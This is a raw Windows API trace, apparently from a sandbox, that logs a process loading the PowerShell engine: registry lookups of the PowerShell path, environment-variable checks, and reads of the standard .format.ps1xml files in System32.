[0039.649] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.650] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.650] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.650] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.653] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.657] VirtualQuery (in: lpAddress=0x16d618, lpBuffer=0x16e618, dwLength=0x1c | out: lpBuffer=0x16e618*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.657] VirtualQuery (in: lpAddress=0x16d618, lpBuffer=0x16e618, dwLength=0x1c | out: lpBuffer=0x16e618*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.658] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.659] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.696] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.696] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.696] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.711] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0039.711] GetLastError () returned 0xcb
[0039.715] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.725] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.725] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.725] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.726] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.728] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.728] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.731] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.733] VirtualQuery (in: lpAddress=0x16d614, lpBuffer=0x16e614, dwLength=0x1c | out: lpBuffer=0x16e614*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0039.734] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e79c | out: phkResult=0x16e79c*=0x330) returned 0x0
[0039.734] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0x16e804, lpData=0x0, lpcbData=0x16e800*=0x0 | out: lpType=0x16e804*=0x1, lpData=0x0, lpcbData=0x16e800*=0x74) returned 0x0
[0039.734] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0x16e7e4, lpData=0x0, lpcbData=0x16e7e0*=0x0 | out: lpType=0x16e7e4*=0x1, lpData=0x0, lpcbData=0x16e7e0*=0x74) returned 0x0
[0039.734] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0x16e7e4, lpData=0x365310, lpcbData=0x16e7e0*=0x74 | out: lpType=0x16e7e4*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x16e7e0*=0x74) returned 0x0
[0039.735] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x16e364, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a
[0039.735] GetLastError () returned 0xcb
[0039.735] SetErrorMode (uMode=0x1) returned 0x1
[0039.735] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x16e7e4 | out: lpFileInformation=0x16e7e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4f50ebe, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x919bae56, ftLastAccessTime.dwHighDateTime=0x1cbf8b7, ftLastWriteTime.dwLowDateTime=0x919bae56, ftLastWriteTime.dwHighDateTime=0x1cbf8b7, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
[0039.735] GetLastError () returned 0xcb
[0039.735] SetErrorMode (uMode=0x1) returned 0x1
[0039.735] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44
[0039.736] GetLastError () returned 0xcb
[0039.736] SetErrorMode (uMode=0x1) returned 0x1
[0039.736] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x16e7d8 | out: lpFileInformation=0x16e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1
[0039.736] GetLastError () returned 0xcb
[0039.736] SetErrorMode (uMode=0x1) returned 0x1
[0039.736] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e
[0039.736] GetLastError () returned 0xcb
[0039.736] SetErrorMode (uMode=0x1) returned 0x1
[0039.736] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x16e7d8 | out: lpFileInformation=0x16e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1
[0039.737] GetLastError () returned 0xcb
[0039.737] SetErrorMode (uMode=0x1) returned 0x1
[0039.737] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44
[0039.737] GetLastError () returned 0xcb
[0039.737] SetErrorMode (uMode=0x1) returned 0x1
[0039.737] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x16e7d8 | out: lpFileInformation=0x16e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1
[0039.737] GetLastError () returned 0xcb
[0039.737] SetErrorMode (uMode=0x1) returned 0x1
[0039.737] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44
[0039.737] GetLastError () returned 0xcb
[0039.737] SetErrorMode (uMode=0x1) returned 0x1
[0039.737] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x16e7d8 | out: lpFileInformation=0x16e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1
[0039.737] GetLastError () returned 0xcb
[0039.737] SetErrorMode (uMode=0x1) returned 0x1
[0039.737] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43
[0039.737] GetLastError () returned 0xcb
[0039.738] SetErrorMode (uMode=0x1) returned 0x1
[0039.738] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x16e7d8 | out: lpFileInformation=0x16e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1
[0039.738] GetLastError () returned 0xcb
[0039.738] SetErrorMode (uMode=0x1) returned 0x1
[0039.738] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d
[0039.738] GetLastError () returned 0xcb
[0039.738] SetErrorMode (uMode=0x1) returned 0x1
[0039.738] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x16e7d8 | out: lpFileInformation=0x16e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a11027b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a11027b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2ed081c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1
[0039.738] GetLastError () returned 0xcb
[0039.738] SetErrorMode (uMode=0x1) returned 0x1
[0039.738] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47
[0039.738] GetLastError () returned 0xcb
[0039.738] SetErrorMode (uMode=0x1) returned 0x1
[0039.738] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x16e7d8 | out: lpFileInformation=0x16e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a182698, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a182698, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd368cf9c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1
[0039.739] GetLastError () returned 0xcb
[0039.739] SetErrorMode (uMode=0x1) returned 0x1
[0039.739] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48
[0039.739] GetLastError () returned 0xcb
[0039.739] SetErrorMode (uMode=0x1) returned 0x1
[0039.739] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x16e7d8 | out: lpFileInformation=0x16e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1a87f7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1a87f7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd36b30fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1
[0039.739] GetLastError () returned 0xcb
[0039.739] SetErrorMode (uMode=0x1) returned 0x1
[0039.739] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e358, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41
[0039.739] GetLastError () returned 0xcb
[0039.739] SetErrorMode (uMode=0x1) returned 0x1
[0039.739] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x16e7d8 | out: lpFileInformation=0x16e7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1ce956, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1ce956, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd372551c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1
[0039.739] GetLastError () returned 0xcb
[0039.739] SetErrorMode (uMode=0x1) returned 0x1
[0039.740] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0039.740] GetLastError () returned 0xcb
[0039.749] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0039.749] GetLastError () returned 0xcb
[0039.749] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0039.749] GetLastError () returned 0xcb
[0039.750] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0039.750] GetLastError () returned 0xcb
[0039.751] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44
[0039.751] GetLastError () returned 0xcb
[0039.751] SetErrorMode (uMode=0x1) returned 0x1
[0039.751] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x300
[0039.751] GetLastError () returned 0x0
[0039.751] GetFileType (hFile=0x300) returned 0x1
[0039.751] SetErrorMode (uMode=0x1) returned 0x1
[0039.751] GetFileType (hFile=0x300) returned 0x1
[0039.751] ReadFile (in: hFile=0x300, lpBuffer=0x228fd78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x228fd78*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.753] GetLastError () returned 0x0
[0039.755] ReadFile (in: hFile=0x300, lpBuffer=0x228fd78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x228fd78*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.755] GetLastError () returned 0x0
[0039.755] ReadFile (in: hFile=0x300, lpBuffer=0x228fd78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x228fd78*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.755] GetLastError () returned 0x0
[0039.755] ReadFile (in: hFile=0x300, lpBuffer=0x228fd78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x228fd78*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.755] GetLastError () returned 0x0
[0039.756] ReadFile (in: hFile=0x300, lpBuffer=0x228fd78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x228fd78*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.756] GetLastError () returned 0x0
[0039.756] ReadFile (in: hFile=0x300, lpBuffer=0x228fd78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x228fd78*, lpNumberOfBytesRead=0x16e654*=0x1000, lpOverlapped=0x0) returned 1
[0039.756] GetLastError () returned 0x0
[0039.756] ReadFile (in: hFile=0x300, lpBuffer=0x228fd78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x228fd78*, lpNumberOfBytesRead=0x16e654*=0x9e2, lpOverlapped=0x0) returned 1
[0039.756] GetLastError () returned 0x0
[0039.756] ReadFile (in: hFile=0x300, lpBuffer=0x228f2fa, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x228f2fa*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0039.756] GetLastError () returned 0x0
[0039.756] ReadFile (in: hFile=0x300, lpBuffer=0x228fd78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e654, lpOverlapped=0x0 | out: lpBuffer=0x228fd78*, lpNumberOfBytesRead=0x16e654*=0x0, lpOverlapped=0x0) returned 1
[0039.756] GetLastError () returned 0x0
[0039.756] CloseHandle (hObject=0x300) returned 1
[0039.756] GetLastError () returned 0x0
[0039.756] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44
[0039.757] GetLastError () returned 0x0
[0039.757] SetErrorMode (uMode=0x1) returned 0x1
[0039.757] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x22a0e34 | out: lpFileInformation=0x22a0e34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1
[0039.757] GetLastError () returned 0x0
[0039.757] SetErrorMode (uMode=0x1) returned 0x1
[0039.757] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44
[0039.757] GetLastError () returned 0x0
[0039.757] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e5d8 | out: phkResult=0x16e5d8*=0x300) returned 0x0
[0039.757] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x0, lpcbData=0x16e61c*=0x0 | out: lpType=0x16e620*=0x1, lpData=0x0, lpcbData=0x16e61c*=0x56) returned 0x0
[0039.757] RegQueryValueExW (in: hKey=0x300, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e620, lpData=0x365310, lpcbData=0x16e61c*=0x56 | out: lpType=0x16e620*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x16e61c*=0x56) returned 0x0
[0039.757] RegCloseKey (hKey=0x300) returned 0x0
[0039.757] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44
[0039.757] GetLastError () returned 0x0
[0039.757] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44
[0039.757] GetLastError () returned 0x0
[0039.782] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xfcdef57b, Data2=0xa3a0, Data3=0x43d3, Data4=([0]=0xa3, [1]=0x5c, [2]=0xcb, [3]=0x58, [4]=0xa6, [5]=0x26, [6]=0x5f, [7]=0x80))) returned 0x0
[0039.795] CoCreateGuid (in: pguid=0x16e648 | out: pguid=0x16e648*(Data1=0xc77bc5db, Data2=0x25ea, Data3=0x4b3a, Data4=([0]=0xac, [1]=0xa7, [2]=0xe8, [3]=0x6e, [4]=0x36, [5]=0x1, [6]=0xd, [7]=0x8))) returned 0x0
[0039.796] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x16e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e
[0039.796] GetLastError () returned 0x0
[0039.796] SetErrorMode (uMode=0x1) returned 0x1
